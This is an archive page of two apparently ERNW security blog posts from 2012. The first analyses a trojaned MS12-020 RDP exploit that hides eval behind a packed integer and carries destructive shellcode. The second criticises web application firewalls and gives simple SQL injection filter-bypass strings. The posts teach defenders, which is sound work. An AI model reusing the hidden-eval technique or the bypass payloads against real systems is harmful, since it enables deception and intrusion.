Archive for April 2012
2 Comments | Posted by Michael Thumann
In march 2012 Microsoft announced a critical vulnerability (Microsoft Security Bulletin MS12-020) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we will spot reliable exploits in the wild. Only a few days later an exploit, working for all unpatched windows versions was released, so it seems that they were right ;-), but of course no one will run an exploit without investigating the code. So lets have a look into the exploit Code.
First we take a look into the Microsoft advisory to get some information about the vulnerability itself:
The vulnerability requires some “specifically crafted RDP packets” to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:
OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:
The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:
We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the “specifically crafted RDP packets” are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over ;-).
We have verified the exploit, so it’s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there …
…JUST KIDDING, never ever do that and I’m not talking about the legal issues this time ;-). It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let’s digg a little bit deeper into this.
First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more ) built-in. It’s a commercial tool called “010 Editor” that can be obtained here and is available as a windows and MAC OS X version.
Copy just the trigger opcodes into a dedicated text file, don’t forget to remove the double quotes. The text files should look almost like this:
Use the editors replace function to replace “\x” with “0x” for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:
Mark all this hex data and copy it to the clipboard.
Choose “File-New-New Hex File” from the “010 Editors” menu to create an empty hex file.
Now choose “Edit-Paste From-Paste from Hex Text” to paste the data as hex data into the new hex file.
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc
Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part ;-):
Yes, it looks like the shellcode doesn’t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.
This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:
def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __import__("__builtin__").__dict__
self.shellcode = shellcode
and then executed using this code:
seeker = (struct.pack(">I", 0x6576616c)
read = self.table[seeker]
return str(read(shellcode)), parsed
But in case that the shellcode wouldn’t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it here.
Let us see how SCDBG works with a short example shellcode:
scdbg -f UrlDownloadToFile.sc
Loaded 150 bytes from file UrlDownloadToFile.sc
Max Steps: 2000000
Using base offset: 0x401000
So the example shellcode downloads a malicious file and executes it, let’s have a look at our shellocde now:
scdbg -f shellcode.sc
Loaded 10d bytes from file shellcode.sc
Max Steps: 2000000
Using base offset: 0x401000
401002opcode 69 not supported
SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn’t run it.
So finally, let’s summarize some lessons that every serious penetration tester should be aware of:
1. Never run any untrusted code (especially exploits) without a detailed analysis.
2. Ensure that you understand every line of code and this also includes the shellcode.
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).
4. When using exploits on customer systems be aware that you’re running it on one of the assets of your customer! Don’t do that without your customers permission!
5. Your customer trusts your professional knowledge, so it’s your responsibility to avoid damaging any of your customers systems by mistake.
So happy practicing and enjoy your week
Some days ago a security advisory related to web application firewalls (WAFs) was published on Full Disclosure. Wendel Guglielmetti Henrique found another bug in the IBM Web Application Firewall which can be used to circumvent the WAF and execute typical web application attacks like SQL injection (click here for details). Wendel talked already (look here) at the Troopers Conference in 2009 about the different techniques to identify and bypass WAFs, so this kind of bypass methods are not quite new.
Nevertheless doing a lot of web application assessments and talking about countermeasures to protect web applications there’s a TOP 1 question I have to answer almost every time: “Wouldn’t it be helpful to install a WAF in front of our web application to protect them from attacks?”. My typical answer is “NO” because it’s better to spent the resources for addressing the problems in the code itself. So I will take this opportunity to write some rants about sense and nonsense of WAFs ;-). Let’s start with some – from our humble position – widespread myths:
1. WAFs will protect a web application from all web attacks .
2. WAFs are transparent and can’t be detected .
3. After installation of a WAF our web application is secure, no further “To Dos” .
4. WAFs are smart, so they can be used with any web application, no matter how complex it is .
5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface.
And now let us dig a little bit deeper into these myths ;-).
1. WAFs will protect a web application from all web attacks
There are different attack detection models used by common WAFs like signature based detection, behavior based detection or a whitelist approach. These detection models are also known by attackers, so it’s not too hard to construct an attack that will pass the detection engines.
Just a simple example for signatures ;-): Studying sql injection attacks we can learn from all the examples that we can manipulate “WHERE clauses” with attacks like “or 1=1″. This is a typical signature for the detection engine of WAFs, but what about using “or 9=9″ or even smarter “or 14<15″? This might sound ridiculous for most of you, but this already worked at least against one WAF and there are much more leet attacks to circumvent WAFs (sorry that we don’t disclose any vendor names, but this post is about WAFs in general).
Another point to mention are the different types of attacks against web applications, it’s not all about SQL injection and Cross-Site Scripting attacks, there also logic flaws that can be attacked or the typical privilege escalation problem “can user A access data of user B?”. A WAF can’t protect against these attacks, it a WAF can raise the bar for attackers under some circumstances, but it can’t protect a web application from skilled attackers.
2. WAFs are transparent and can’t be detected
In 2009, initially at Troopers ;-), Wendel and Sandro Gauci published a tool called wafw00f and described their approach to fingerprint WAFs in different talks at security conferences. This already proves that this myth is not true. Furthermore there will be another tool release from ERNW soon, so stay tuned, it will be available for download shortly ;-).
3. After installation of a WAF my web application is secure, no further “To Dos”
WAFs require a lot of operational effort just because web applications offer more and more functionality and the main purpose of a web application is to support the organization’s business. WAF administrators have to ensure that the WAF doesn’t block any legitimate traffic. It’s almost the same as with Intrusion Detection and Prevention Systems, they require a lot of fine tuning to detect important attacks and ensure functionality in parallel. History proves that this didn’t (and still doesn’t) work for most IDS/IPS implementations, why should it work for WAFs ;-)?
4. WAFs are smart, so they can be used with any web application, no matter how complex it is
Today’s web applications are often quite complex, they use DOM based communication, web services with encryption and very often they create a lot of dynamic content. A WAF can’t use a whitelist approach or the behavior based detection model with these complex web applications because the content changes dynamically. This reduces the options to the signature based detection model which is not as effective as many people believe (see myth No. 1).
5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface
This is one of the most common sales arguments, because it contains a lot of reasonable arguments, but what these sales guys don’t tell is the fact, that a WAF won’t solve your problem either ;-).
Talking about risk analysis the ERNW way we have 3 contributing factors: probability, vulnerability and impact. A WAF won’t have any influance on the impact, because if the vulnerability gets exploited there’s still the same impact. Looking at probabilities with the risk analysis view, you have to take care that you don’t consider existing controls (like WAFs ) because we’re talking about the probability that someone tries to attack your web application and I think that’s pretty clear that the installation of a WAF won’t change that ;-). So there’s only the vulnerability factor left that you can change with the implementation of controls.
But me let me ask one question using the picture of the Fukushima incident: What is the better solution to protect nuclear plants from tsunamis? 1. Building a high wall around it to protect it from the water? 2. Build the nuclear plant at a place where tsunamis can’t occur?
I think the answer is obvious and it’s the same with web application vulnerabilities, if you fix them there’s no need for a WAF. If you start using a Security Development Lifecycle (SDL) you can reach this goal with reasonable effort ;-), so it’s not a matter of costs.
Clarifying these myths of web application firewalls, I think the conclusions are clear. Spend your resources for fixing the vulnerabilities in your web applications instead of buying another appliance that needs operational effort, only slightly reducing the vulnerability instead of eliminating it and also costing more money. We have quite a lot of experience supporting our customers with a SDL and from this experience we can say, that it works effectively and can be implemented more easily than many people think.
You are still not convinced ;-)? In short we will publish an ERNW Newsletter (our newsletter archive can be found here) describing techniques to detect und circumvent WAFs and also a new tool called TSAKWAF (The Swiss Army Knife for Web Application Firewalls) which implements these techniques for practical use. Maybe this will change your mind ;-).
have a nice day,